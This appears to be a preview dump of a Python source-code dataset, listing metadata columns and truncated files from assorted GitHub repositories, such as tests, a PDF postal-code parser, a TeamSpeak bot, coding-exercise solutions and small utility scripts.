repo_name stringlengths 7 111 | __id__ int64 16.6k 19,705B | blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 5 151 | content_id stringlengths 40 40 | detected_licenses list | license_type stringclasses 2
values | repo_url stringlengths 26 130 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 42 | visit_date timestamp[ns] | revision_date timestamp[ns] | committer_date timestamp[ns] | github_id int64 14.6k 687M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 12
values | gha_fork bool 2
classes | gha_event_created_at timestamp[ns] | gha_created_at timestamp[ns] | gha_updated_at timestamp[ns] | gha_pushed_at timestamp[ns] | gha_size int64 0 10.2M ⌀ | gha_stargazers_count int32 0 178k ⌀ | gha_forks_count int32 0 88.9k ⌀ | gha_open_issues_count int32 0 2.72k ⌀ | gha_language stringlengths 1 16 ⌀ | gha_archived bool 1
class | gha_disabled bool 1
class | content stringlengths 10 2.95M | src_encoding stringclasses 5
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 10 2.95M | extension stringclasses 19
values | num_repo_files int64 1 202k | filename stringlengths 4 112 | num_lang_files int64 1 202k | alphanum_fraction float64 0.26 0.89 | alpha_fraction float64 0.2 0.89 | hex_fraction float64 0 0.09 | num_lines int32 1 93.6k | avg_line_length float64 4.57 103 | max_line_length int64 7 931 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d-Gaurav/hyperlite-client | 10,599,979,295,112 | 0562da47e326d8427b1117eed5524852f0b76f25 | 9c49f14a80181c6c3038e60b6058239af9d6d408 | /hyperlite/collection.py | 40bd4bf07d10217679e953c881830d608ebea33c | [
"MIT"
] | permissive | https://github.com/d-Gaurav/hyperlite-client | 6ae1ee617079c12e517840b92f3682f5ad2619af | d181fdbf20d87016b8a3becffc97acd6d725f049 | refs/heads/master | 2021-10-22T13:41:11.334533 | 2019-03-11T07:06:24 | 2019-03-11T07:06:24 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import json
from .object import Object
from .cursor import Cursor
from .event import Event
from . import generateReadRequestSchema, generateReadByIdRequestSchema, generateReadOneRequestSchema, generateInsertRequestSchema, generateDeleteRequestSchema, generateUpdateRequestSchema, generateUpdateRequestSchema, generateIns... | UTF-8 | Python | false | false | 3,836 | py | 5 | collection.py | 4 | 0.625391 | 0.625391 | 0 | 89 | 42.11236 | 248 |
SiriusKoan/repair_system | 6,983,616,867,103 | fe2603e30d67fc7200ea64e9840fce8ab151ab38 | cf01c2b96d5f89ea6fa2ccb02ab5d8128c84e914 | /src/app/database/__init__.py | 771059365b71b1191c20b6fcc0e1f53e97d9c9f3 | [
"MIT"
] | permissive | https://github.com/SiriusKoan/repair_system | 9db0b6acffaacecc2b4a1f63d533408991e86f27 | 6524e7a8d5954b6e16b34b9d88db9d455ef3dd1d | refs/heads/main | 2023-08-11T11:47:17.788208 | 2021-09-26T05:49:48 | 2021-09-26T05:49:48 | 358,261,629 | 1 | 0 | null | true | 2021-04-15T13:03:36 | 2021-04-15T13:03:36 | 2021-04-15T13:03:34 | 2021-04-15T13:03:31 | 0 | 0 | 0 | 0 | null | false | false | from . import backup_helper, db_helper
from .common import cache
from .model import db
__all__ = [db, backup_helper, db_helper, cache]
| UTF-8 | Python | false | false | 136 | py | 62 | __init__.py | 40 | 0.720588 | 0.720588 | 0 | 5 | 26.2 | 47 |
ergo/testscaffold | 11,974,368,829,247 | d1f7ef79875564f761df1ed1f342a262fb004cff | 5247672ce237e6da717bb37ed1223ee990b853ca | /backend/testscaffold/tests/functional/test_entries_api.py | 9f0a1387460326d2108aeee9f43a5cd4f78b3b41 | [] | no_license | https://github.com/ergo/testscaffold | df29ff27efa585411335388aa1a75dd4fc5d2220 | 4fb044ed57be955856eebcfe00874528b1efd03d | refs/heads/master | 2022-12-11T08:48:52.185780 | 2021-04-25T23:12:33 | 2021-04-25T23:12:33 | 62,617,583 | 9 | 4 | null | false | 2022-12-08T08:17:54 | 2016-07-05T08:02:54 | 2022-09-01T04:49:53 | 2022-12-08T08:17:54 | 369 | 7 | 3 | 9 | Python | false | false | import pprint
import pytest
from testscaffold.tests.utils import create_entry, session_context, create_admin
def create_default_tree(db_session):
root = create_entry({"resource_id": -1, "resource_name": "root a", "ordering": 1}, sqla_session=db_session,)
res_a = create_entry(
{"resource_id": 1, "res... | UTF-8 | Python | false | false | 19,194 | py | 105 | test_entries_api.py | 66 | 0.606648 | 0.588569 | 0 | 403 | 46.627792 | 118 |
uiandwe/TIL | 18,674,517,807,160 | 171d3f0cbef5d104c876dd12a9a50988a58acd3f | ba80ca143ba35fd481730786a27ebdb1f88ce835 | /Machine_Running/10minutesToPandas/merge.py | 6a2f2fa512f84036e8dcda14737fe915ee04fab4 | [] | no_license | https://github.com/uiandwe/TIL | c541020b65adc53578aeb1c3ba4c6770b3b2e8b3 | 186544469374dd0279099c6c6aa7555ee23e42fe | refs/heads/master | 2022-02-15T08:33:07.270573 | 2022-01-01T15:22:54 | 2022-01-01T15:22:54 | 63,420,931 | 2 | 4 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/env python
# coding: utf-8
# In[1]:
import pandas as pd
# In[4]:
adf = pd.DataFrame({"x1": ["A", "B", "C"], "x2": [1, 2, 3]})
adf
# In[7]:
bdf = pd.DataFrame({"x1": ["A", "B", "D"], "x3": ["T", "F", "T"]})
bdf
# In[8]:
pd.merge(adf, bdf, how='left', on='x1')
# In[9]:
pd.merge(bdf, adf, how... | UTF-8 | Python | false | false | 666 | py | 1,288 | merge.py | 877 | 0.487988 | 0.427928 | 0 | 78 | 7.487179 | 66 |
rahulgoel97/CanadaFSAParser | 3,152,506,004,241 | 5e586005645c135283077916d16571a5b10d0d2b | 91245972275d1d93a0b792c723c0bcae3c77bcef | /canada_fsa_parser.py | 6a076fe33a8804a8360f10e9f6bbdae89c65969b | [
"MIT"
] | permissive | https://github.com/rahulgoel97/CanadaFSAParser | c4aca77da07e34491b0c7526a537e291e90b4cb9 | 386a2eb1d563f210ecb3fb9c9149eedb64f52e2a | refs/heads/main | 2023-03-02T04:10:13.946324 | 2021-01-26T22:40:04 | 2021-01-26T22:40:04 | 333,233,771 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | '''
- Canadian FSA (Forward Sortation Area) parser
- Use Canada Post's listing to parse FSAs and Areas into a pandas dataframe and JSON format
- Example: https://www.canadapost.ca/assets/pdf/KB/nps/nps_nonlettermail_fsalist_jan2019.pdf (Jan 2019)
- Download the PDF on your computer, and use directory as input
'''
... | UTF-8 | Python | false | false | 5,328 | py | 3 | canada_fsa_parser.py | 1 | 0.560998 | 0.556494 | 0 | 189 | 26.169312 | 103 |
wimal-build/ndk | 9,234,179,727,855 | 76ffa8dd2cd0fc48a315702308b3bb721f2a0472 | 729e104ff6831343caf7e1afd8014232b35b8c26 | /tests/build/wrap_sh_none/test.py | c6ea862cd2124db575f42d813bd830bb213fd169 | [
"Apache-2.0"
] | permissive | https://github.com/wimal-build/ndk | b8d77657b0e8b39f0da3fe2cc4f2aa52a00e5d7b | 82dbb8b7a26a1bb7a6fa8c2aa1ad7c431c1e626a | refs/heads/master | 2020-04-24T14:01:12.132020 | 2020-03-26T15:44:41 | 2020-03-26T15:44:41 | 172,006,630 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #
# Copyright (C) 2018 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | UTF-8 | Python | false | false | 1,564 | py | 239 | test.py | 137 | 0.662404 | 0.654092 | 0 | 44 | 34.545455 | 77 |
smartaleciam/playcard | 6,459,630,846,683 | d2fee26460dd9185281bd3976bde2ebcb40f8afb | 7e6790a59b4cfe2d31c2c65dfc86202e5b634506 | /html/scripts/clear_lcd.py | e86397ff724a4e85381db0fc6f02a80b4b504881 | [] | no_license | https://github.com/smartaleciam/playcard | a35c2a4aeb03c39217433835bc66352e783c357d | 9abefe2652e4e8f99e28127e95d2cec12bedcf59 | refs/heads/main | 2023-06-12T19:18:41.352208 | 2021-06-27T10:43:43 | 2021-06-27T10:43:43 | 306,681,286 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/env python
import Adafruit_CharLCD as LCD
lcd = LCD.Adafruit_CharLCD(4, 24, 23, 17, 18, 22, 16, 2, 5)
lcd.clear()
lcd.set_backlight(0) | UTF-8 | Python | false | false | 147 | py | 41 | clear_lcd.py | 36 | 0.687075 | 0.578231 | 0 | 7 | 20.142857 | 59 |
graalumj/Github-Actions-CI | 14,164,802,158,806 | aa37017053442e9492f01b4cf3fee97664928179 | d8e533937f2064785ed751e0f4fad83f31ac34ef | /test.py | c9dcb44f4beeb1d09f91773c328180ac9a4b1ba1 | [] | no_license | https://github.com/graalumj/Github-Actions-CI | afe7d5a45e2894b09ac57924877c69268eea413b | 6cebe2e623ae9bb7368cd973000a906fade307fa | refs/heads/main | 2023-05-13T12:55:09.443632 | 2021-06-06T19:03:54 | 2021-06-06T19:03:54 | 374,434,876 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import unittest
import calculator
class TestCase(unittest.TestCase):
def test_add(self):
self.assertEqual(calculator.add(1, 2), 3)
def test_subtract(self):
self.assertEqual(calculator.subtract(1, 1), 0)
def test_mutliply(self):
self.assertEqual(calculator.multiply(2, 3), 6)
... | UTF-8 | Python | false | false | 446 | py | 1 | test.py | 1 | 0.643498 | 0.616592 | 0 | 21 | 20.238095 | 54 |
divyanshrm/yolo_implementation | 867,583,440,827 | 9fc83af8264cb3fcac5ac51c6dfd9ef98ce0bb8e | 826e513fd09d88416cb554e3824b32238180e6d3 | /yolo_eval.py | 1c1633eaa66a871f1bf4d34e2dae971fa7c9c9f0 | [
"MIT"
] | permissive | https://github.com/divyanshrm/yolo_implementation | 09f61a2ee366818da19aa640278295975cd2025a | bb94246972ef018289f8254b4abec5c53c1413ce | refs/heads/master | 2020-12-28T10:41:15.518611 | 2020-04-14T01:32:33 | 2020-04-14T01:32:33 | 238,294,627 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | def yolo_eval(yolo_outputs, image_shape = (720., 1280.), max_boxes=10, score_threshold=.6, iou_threshold=.5):
Converts the output of YOLO encoding (a lot of boxes) to predicted boxes along with their scores, box coordinates and classes.
box_confidence, box_xy, box_wh, box_class_... | UTF-8 | Python | false | false | 720 | py | 5 | yolo_eval.py | 4 | 0.655556 | 0.640278 | 0 | 22 | 30.818182 | 130 |
tkoz0/problems-project-euler | 7,894,149,933,602 | 81563eb45a382d63c97a8ab028af980df85e8bdb | bd844f868da174a15a54751609847320919bc4f6 | /p027a.py | de8cdc573d667a289a67373f60fb557c55ef4136 | [] | no_license | https://github.com/tkoz0/problems-project-euler | f8fa2c846b3f2c9719742d71acd1e837b3486e07 | 93e0bc51276acdd7729a45a18c05fd3a6eb1f125 | refs/heads/master | 2023-06-07T00:12:10.435409 | 2023-05-28T02:38:33 | 2023-05-28T02:38:33 | 157,948,871 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import libtkoz as lib
arange = 999 # -999 to 999
brange = 1000 # -1000 to 1000
pseqlenparam = 100 # estimate for longer sequences to determine prime cache size
# quadratic function is x^2+ax+b
# computing next: f(x+1) - f(x) = (x^2+2x+1+ax+a+b) - (x^2+ax+b)
# = 2x+1+a --> use this as difference to compute next more e... | UTF-8 | Python | false | false | 1,430 | py | 238 | p027a.py | 207 | 0.583217 | 0.525175 | 0 | 41 | 33.878049 | 80 |
gregmuellegger/django | 9,414,568,318,895 | 947c88e9281e1aeb14754b4b576743e655b61b8a | 7fc3cafe26dd5396dce8fe5ec341115ed9b27c25 | /tests/regressiontests/localflavor/tests.py | 856e518bed3a906105da5cc413258691e2eafa2a | [
"BSD-3-Clause"
] | permissive | https://github.com/gregmuellegger/django | e3e2860ff4d51629ff2a44801f4611919fc5b2b5 | fa182e8ae82f33764d5e1f70bcd45899e1bf17e6 | refs/heads/master | 2021-01-16T20:01:13.750357 | 2012-06-12T10:30:52 | 2012-06-26T16:39:14 | 1,046,323 | 22 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from __future__ import absolute_import
from .ar.tests import ARLocalFlavorTests
from .at.tests import ATLocalFlavorTests
from .au.tests import AULocalflavorTests
from .be.tests import BELocalFlavorTests
from .br.tests import BRLocalFlavorTests
from .ca.tests import CALocalFlavorTests
from .ch.tests import CHLocalFlavo... | UTF-8 | Python | false | false | 1,815 | py | 192 | tests.py | 148 | 0.85124 | 0.85124 | 0 | 45 | 39.333333 | 50 |
thierry-bm/portefeuille | 1,726,576,856,149 | 4e43f15b34f91de6c6f6343da8e9b56118e62e8d | 713b4bfda3f137a13c3a3da03b3d3cbfbb7cfbd4 | /main5.py | dd1d7b67965ffbfaa85325ace60de7fdaa7e6a83 | [] | no_license | https://github.com/thierry-bm/portefeuille | 3f55499d76f06e2e1532332b9472bea474d6f0c0 | dd1b47ebeb4441111dfbb1504939a91f530117ca | refs/heads/master | 2020-08-29T04:48:18.538536 | 2020-03-22T21:53:32 | 2020-03-22T21:53:32 | 217,932,748 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | """On veut étudier la façon de calibrer cett utilité.
"""
# %%
import utility as ut
import numpy as np
import matplotlib.pyplot as plt
#%%
u = ut.get_cvx_utility(3)
r = np.linspace(-5,5,100)
us = {}
for β in [1,2,3]:
u = ut.get_cvx_utility(β)
plt.plot(r,u(r).value)
plt.legend([1,2,3])
plt.grid()
plt.plot()
... | UTF-8 | Python | false | false | 334 | py | 21 | main5.py | 10 | 0.613982 | 0.577508 | 0 | 24 | 12.708333 | 54 |
ShrutiAggarwal99/TaskMaster | 6,622,839,580,471 | ecf93f713d4622eab2027d7a2b4d73dec6737ef1 | d757765f5ae1ffe7182fabd8a4fce340b5c35def | /env/lib/python3.6/base64.py | f95164da006b89beeef0c2ff4b56d7f3b38e664d | [] | no_license | https://github.com/ShrutiAggarwal99/TaskMaster | de6c9073a0f6decc06d4e929a5e192f64b580430 | 8f64422752bcbf9670d0be291e22546ebead75d6 | refs/heads/master | 2021-07-13T05:30:13.166018 | 2021-03-01T05:35:50 | 2021-03-01T05:35:50 | 230,086,228 | 0 | 0 | null | false | 2021-03-20T02:30:02 | 2019-12-25T10:31:35 | 2021-03-01T05:35:52 | 2021-03-20T02:30:02 | 16,679 | 0 | 0 | 1 | HTML | false | false | /home/shruti/anaconda3/lib/python3.6/base64.py | UTF-8 | Python | true | false | 46 | py | 50 | base64.py | 43 | 0.826087 | 0.717391 | 0 | 1 | 46 | 46 |
yofn/pyacm | 6,571,299,998,018 | cee2a8aa9d7dc7c452b4225fbe3d428aa335493c | a4456d808b4c72574a11c88282920a917b076f5b | /bnu/2020p1/3D层级.py | 2f5c933bdcfe5da0c8ee0140cd17a216138d3032 | [
"Apache-2.0"
] | permissive | https://github.com/yofn/pyacm | 635f3b17cc08d9e702b561f9582fec4d694458b1 | e573f8fdeea77513711f00c42f128795cbba65a6 | refs/heads/master | 2023-07-09T02:11:31.044020 | 2021-08-10T02:02:24 | 2021-08-10T02:02:24 | 270,663,600 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #!/usr/bin/env python3
# https://codeforces.com/problemset/problem/17/B
# 覆盖所有节点的最短路径?
# 图的表示: matrix, list
# https://www.geeksforgeeks.org/comparison-between-adjacency-list-and-adjacency-matrix-representation-of-graph/
# DFS的实现: stack(非递归); 递归
# https://likegeeks.com/depth-first-search-in-python/
# 到底是DSU更好还是DFS更好?... | UTF-8 | Python | false | false | 907 | py | 712 | 3D层级.py | 703 | 0.631117 | 0.613551 | 0 | 28 | 27.464286 | 111 |
maiyajj/AutoTest_script-Appium_Connect | 17,763,984,766,715 | bec5a0c844a3948568f6acd43d2f619791d7b012 | f925499f896b012624118cfafd02fef76ff5075a | /src/testcase/GN_APP/input_case/GN_APP_Input_Case.py | 889adfc932d3adae349c4bd6ce5e9400ae4095bf | [
"Apache-2.0"
] | permissive | https://github.com/maiyajj/AutoTest_script-Appium_Connect | f7c06db1d2f58682d1a9d6f534f7dd5fb65d766d | f9c2c42c281a9e2f984acb4a72dda0694b053f22 | HEAD | 2019-07-26T01:39:48.413753 | 2018-04-11T02:11:38 | 2018-04-11T02:11:38 | 112,449,369 | 30 | 22 | null | null | null | null | null | null | null | null | null | null | null | null | null | # coding=utf-8
try:
from .GN_APP_Account_Settings import *
from .GN_APP_Device_Page import *
from .GN_APP_Feed_Back import *
from .GN_APP_Forget_Password import *
from .GN_APP_Login import *
from .GN_APP_Message_Classify import *
from .GN_APP_Register import *
from .GN_APP_Theme_Style im... | UTF-8 | Python | false | false | 436 | py | 188 | GN_APP_Input_Case.py | 181 | 0.665138 | 0.662844 | 0 | 14 | 30.142857 | 42 |
naivelamb/leetcode | 12,257,836,677,639 | 0f7ac036177658940e45f2d445259462c481def0 | 7426f3cde2c93d65ffa76c904ba477d26becef8d | /0338_CountingBits.py | 892148d178eee57967b45e6d2a589331e130085f | [] | no_license | https://github.com/naivelamb/leetcode | 5e8ac58f606e0419a10d8fd9c1f532b4f9814017 | bae36601c3ce67f2b4a91d331a2d70dca8a1ee92 | refs/heads/master | 2021-07-23T20:38:06.265839 | 2021-07-12T16:14:21 | 2021-07-12T16:14:21 | 166,906,784 | 20 | 6 | null | null | null | null | null | null | null | null | null | null | null | null | null | """
https://leetcode.com/problems/counting-bits/
DP
The results of [2**k, 2**(k+1) - 1] is a replication of [0, 2**(k-1)], add 1 to every element.
"""
class Solution:
def countBits(self, num: int) -> List[int]:
dp = [0] * (num+1)
i, base = 0, 1
while i + base <= num:
while i <= ... | UTF-8 | Python | false | false | 466 | py | 753 | 0338_CountingBits.py | 752 | 0.454936 | 0.420601 | 0 | 17 | 26.411765 | 94 |
WeglarzK/cdv | 18,734,647,366,394 | 93023a72fe9fcc5bcfcc3cfc517716adeb106dda | 21c7b9a44869446a05d8c320addb697968766130 | /Podstawy_Programowania/1_podstawy.py | 3b23f1ca78a73ae4c6aa01437a3bc1427c9ec221 | [] | no_license | https://github.com/WeglarzK/cdv | 62464c4019b6e31ba6b4b43ff8e4cdb5f11616d2 | 7087246dab7f82adb955e40d4b3a14eb53faf66d | refs/heads/master | 2021-05-17T23:34:35.282381 | 2020-05-24T13:15:09 | 2020-05-24T13:15:09 | 251,005,233 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | print("CDV11")
print(8)
#potęgowanie
#pow = 2**10
#print(pow)
#pobieranie danych z klawiatury
#name = input()
#print("Twoje imie: "+name)
#surname=input()
#print("Twoje imie: " + name + ", nazwisko: " + surname)
#length= len(surname)
#print(length)
#print(type(surname))
#print(type(length))
#length = str(length)
#p... | UTF-8 | Python | false | false | 477 | py | 12 | 1_podstawy.py | 12 | 0.655462 | 0.634454 | 0 | 26 | 17.346154 | 92 |
andrewzz310/SUFS | 7,988,639,216,457 | 880cbba0f0acb0859359e3d07e690d9f8abc3982 | 6d2157cd45799fc890a15de91c96d787fc4d1343 | /Client/Client.py | 5a0f5b32045892bd37aac396f4c9b21391757c70 | [] | no_license | https://github.com/andrewzz310/SUFS | b5065c9cd28178fb2e4d1b3e175b7c77b05f0469 | 2468122627232facaf1d68541aa3d1760f1277e0 | refs/heads/master | 2021-04-29T18:44:50.865235 | 2018-07-11T05:58:15 | 2018-07-11T05:58:15 | 126,285,409 | 1 | 0 | null | true | 2018-03-22T05:41:52 | 2018-03-22T05:41:52 | 2018-03-16T05:51:40 | 2018-03-16T05:51:39 | 310 | 0 | 0 | 0 | null | false | null | import xmlrpclib
import os
import boto3
from modules import BlockDivider
class Client:
def __init__(self):
self.file_name = None
self.path = None
self.bucket_name = 'sufs-shieldsj'
#self.bucket_name = 'sufs-client'
self.RPC_NAMENODE_SERVER_URL = ''
self.rpc_namenode... | UTF-8 | Python | false | false | 5,248 | py | 15 | Client.py | 13 | 0.569169 | 0.557355 | 0 | 160 | 31.8 | 113 |
weikent/Python | 4,552,665,364,381 | 122fd907a941382ac71ab9a42b694908170a841f | 771be28beb8846d25c4cc37fcd910c07e76d23b2 | /python/pythonFirstGame/Menu.py | 33e4e949a19092acf82ce071b5d8009994e48ab1 | [] | no_license | https://github.com/weikent/Python | f31628f017253d8fc65dac5df5df82649235199f | 08aaa744b242020dc3ad8856565ac909b601cd9c | refs/heads/master | 2021-06-11T23:38:52.213947 | 2017-08-01T05:59:01 | 2017-08-01T05:59:01 | 15,369,463 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #-*- coding: utf-8 -*-
import types
class Menu(object):
"""
"""
def __init__(self, menu):
"""
Arguments:
- `Menu`:
"""
self._menu = menu
def show(self):
"""
Arguments:
- `self`:
"""
flag = True
dictStr = self._... | UTF-8 | Python | false | false | 1,805 | py | 94 | Menu.py | 71 | 0.380055 | 0.368975 | 0 | 73 | 23.726027 | 99 |
LukeMurphy/RPI | 5,712,306,532,626 | 180bf393edd78aadce3999c873a7109381724a83 | 30dd17ec43e4ce2cae87b1186d3b35736e2bab20 | /pieces/singletons/moving_bars.py | da1dd40601e658dfe0d0374fc9e2b76b086fe4fd | [] | no_license | https://github.com/LukeMurphy/RPI | de2329fa82a36fac953d832fbb9a77ea9eae75d5 | 78a6b0d34d2b3b65f9dd7a502f60d500c0c11b80 | refs/heads/py3.6 | 2023-08-30T22:57:33.303969 | 2021-10-15T19:01:38 | 2021-10-15T19:01:38 | 45,502,537 | 3 | 0 | null | false | 2020-03-31T13:11:08 | 2015-11-03T23:27:06 | 2020-03-31T13:00:33 | 2020-03-31T13:00:30 | 358,477 | 3 | 1 | 0 | Python | false | false | import math
import random
import threading
import time
from modules.configuration import bcolors
from modules import colorutils
from PIL import Image, ImageDraw, ImageEnhance, ImageFont, ImageOps
'''
fadeIn = Fader()
# fadeIn.blankImage = Image.new("RGBA", (height, width))
fadeIn.crossFade = Image.new("RG... | UTF-8 | Python | false | false | 6,722 | py | 585 | moving_bars.py | 160 | 0.7169 | 0.705147 | 0 | 217 | 29.976959 | 174 |
Yiftah/Udacity | 4,501,125,759,636 | c4f29a8326da5d107d4cb880a8e8bb6c35dcdced | bcd40d3361c91b16bef69299d3701ab1ac7db169 | /entertainment_center.py | a477129c8de12b31417d7052d9e9f8340f53282e | [] | no_license | https://github.com/Yiftah/Udacity | 4b3c7346ab38162b01ff1ff96d04a6a27b12ecb6 | 58f3de75f7517e2c135dc49457d7c6c961ed0184 | refs/heads/master | 2021-01-01T19:34:29.114435 | 2015-02-06T17:33:03 | 2015-02-06T17:33:03 | 30,387,840 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import media
import fresh_tomatoes
toy_story = media.Movie("Toy Story", "A boy and his toys", "http://upload.wikimedia.org/wikipedia/en/thumb/6/69/Toy_Story_3_poster.jpg/220px-Toy_Story_3_poster.jpg", "https://www.youtube.com/watch?v=vwyZH85NQC4")
avatar = media.Movie("Avatar", "Marine on an alian planet", "http:/... | UTF-8 | Python | false | false | 531 | py | 1 | entertainment_center.py | 1 | 0.741996 | 0.711864 | 0 | 6 | 85.833333 | 218 |
JoaoGaBRiel-X/apitermoplus | 17,918,603,573,279 | 85eb7105403e3f13c146eebd26aafe67f1d6d14f | efde5b50f48161bf2817fdf02c2380032de68164 | /apitermoplus/urls.py | 4e2b5b9fcd108c60009bb017fc2cf450ce3a938d | [] | no_license | https://github.com/JoaoGaBRiel-X/apitermoplus | 36b9469050d8b775e6beb9db64e1e0bac9e9f3e4 | c4a9c4cd09345932bc36df6875cab5f12f2609a6 | refs/heads/main | 2023-06-12T13:19:57.749066 | 2021-07-04T19:49:41 | 2021-07-04T19:49:41 | 381,844,925 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from django.contrib import admin
from django.db import router
from django.urls import path, include
from rest_framework import routers
from API.views import ClientesViewSet, VeiculosViewSet, ListaPatio, EntradaViewSet
router = routers.DefaultRouter()
router.register('clientes', ClientesViewSet, basename='Clientes')
ro... | UTF-8 | Python | false | false | 594 | py | 7 | urls.py | 5 | 0.779461 | 0.779461 | 0 | 16 | 36.125 | 82 |
AxForest/teamspeak_bot | 4,200,478,033,442 | e69f031831107749902698597f88f757ebb4ffdc | c6e7a384ddcb94bdc48ae6f1ca5bfd39cb722b73 | /ts3bot/cycle.py | e8bfbc048e3574a58f375045ab2c42923c08e749 | [
"MIT"
] | permissive | https://github.com/AxForest/teamspeak_bot | 3112235d4fe148fb9d7abfb8f55c37ae192be240 | 920a53424484798b72ffe81a6004c20ccf8ee255 | refs/heads/pre-alliances | 2023-07-23T01:13:34.932675 | 2023-07-09T12:20:28 | 2023-07-09T12:20:28 | 121,895,530 | 3 | 2 | MIT | false | 2023-02-08T05:23:27 | 2018-02-17T21:49:42 | 2022-01-05T22:51:40 | 2023-02-08T05:23:26 | 578 | 3 | 1 | 3 | Python | false | false | import datetime
import logging
from collections.abc import Iterable
from typing import Any, cast
import requests
import ts3 # type: ignore
from sqlalchemy import and_, func, or_
from sqlalchemy.orm import Session
import ts3bot
from ts3bot.bot import Bot
from ts3bot.config import env
from ts3bot.database import enums... | UTF-8 | Python | false | false | 8,659 | py | 51 | cycle.py | 40 | 0.514494 | 0.507564 | 0 | 239 | 35.230126 | 88 |
AlexCollin/IQOption-Bot-Trade-System | 7,868,380,099,667 | 5c36652a77b3544de626f329de47d35133d10758 | 0bea4de65ef8592d81fa119f46895745e35cad99 | /src/api/iqoption/http/getactives.py | 1839aa556e8e65bff0684179a0744d3e481323ce | [] | no_license | https://github.com/AlexCollin/IQOption-Bot-Trade-System | e76135c6cabb6041fcb528ff3db8e765b6acfc33 | 6ac55810e9872231e1df08753a2e5a6bebb54d93 | refs/heads/master | 2022-07-21T19:59:29.543773 | 2022-07-14T15:15:01 | 2022-07-14T15:15:01 | 80,314,537 | 38 | 42 | null | null | null | null | null | null | null | null | null | null | null | null | null | # -*- coding: utf-8 -*-
"""Module for IQ Option http option/init/all resource."""
from src.api.iqoption.http.resource import Resource
class GetActives(Resource):
"""Class for IQ option option/init/all resource."""
# pylint: disable=too-few-public-methods
url = "/option/init/all"
def _get(self):
... | UTF-8 | Python | false | false | 699 | py | 57 | getactives.py | 49 | 0.629471 | 0.62804 | 0 | 25 | 26.96 | 71 |
abrarfmahendra/chapter-5-protek-abrar-farizi-m-ptikB | 1,245,540,546,882 | 6f641212158550fd9d26a60f5b1758dba0deedde | 3da3a98dcc635a83820ae3792562145e21d51292 | /chapter 5 prak 1 lat no 3.py | 2730743dd2974b7071fa232eaf875370c381d0b3 | [] | no_license | https://github.com/abrarfmahendra/chapter-5-protek-abrar-farizi-m-ptikB | 80722aaccc5d2c18c445cf5e4f55979cd4c64241 | fb2eb1abfd0b917cfa731c7c1907ae3cd53a626c | refs/heads/main | 2023-01-02T10:57:48.070281 | 2020-11-02T13:16:47 | 2020-11-02T13:16:47 | 309,373,273 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | nilai = int(input("masukan nilai indonesia = "))
nilai = int(input("masukan nilai ipa = "))
nilai = int(input("masukan nilai matematika = "))
lulus = "Selamat anda Lulus"
gagal = "maaf, Anda tidak lulus"
validasi = "input benar"
tidakvalidasi = "Maaf, input ada yang tidak valid"
if nilai>=60 :
print(lulus)
... | UTF-8 | Python | false | false | 596 | py | 14 | chapter 5 prak 1 lat no 3.py | 13 | 0.661074 | 0.634228 | 0 | 21 | 26.380952 | 50 |
Guan93/leetcode | 2,113,123,917,428 | 8e28fe58d0d3cc4078a373a7f97cbfc9dbbf3672 | 4d28c81eed7eb3f69ff2c182ab35d1ccb6364f9c | /410.split-array-largest-sum.py | db0e27d599d2da47f0b1a1c943aa2c9e35bc3921 | [] | no_license | https://github.com/Guan93/leetcode | a6e182537f71b39aa3ec4e094458b0ebc4fd536c | 14a99f506004a1167d954805179d2fa0c41c1436 | refs/heads/master | 2020-11-29T08:44:09.109348 | 2020-09-26T03:47:35 | 2020-09-26T03:47:35 | 230,072,465 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | #
# @lc app=leetcode id=410 lang=python3
#
# [410] Split Array Largest Sum
#
# @lc code=start
# # brute force: O(C(n-1, m-1))
# class Solution:
# def splitArray(self, nums: List[int], m: int) -> int:
# self.ans = float("inf")
# n = len(nums)
# def dfs(curr_idx, curr_m, curr_max, curr_sum):... | UTF-8 | Python | false | false | 2,195 | py | 367 | 410.split-array-largest-sum.py | 367 | 0.420046 | 0.401822 | 0 | 72 | 29.486111 | 116 |
multinspired/myblog | 5,257,040,008,074 | 83b72fca780468eac33ce0dfba7db510cdc2c64f | e499cade4263b4f357aca523c030d25a28226522 | /theinspired/blog/admin.py | 53d46ef5fc40e97e8bc85611601726b228307d55 | [] | no_license | https://github.com/multinspired/myblog | 9b4184173b196ffc10929280acc0401b756f3832 | eeffb2c1a46693f843e86f94d0a3483f9d8f7b54 | refs/heads/master | 2020-06-18T03:34:04.394423 | 2019-07-10T07:12:45 | 2019-07-10T07:12:45 | 196,151,474 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | from django.contrib import admin
from .models import Articles
from .models import QuestList
admin.site.register(Articles)
admin.site.register(QuestList)
| UTF-8 | Python | false | false | 161 | py | 12 | admin.py | 6 | 0.795031 | 0.795031 | 0 | 6 | 24.833333 | 32 |
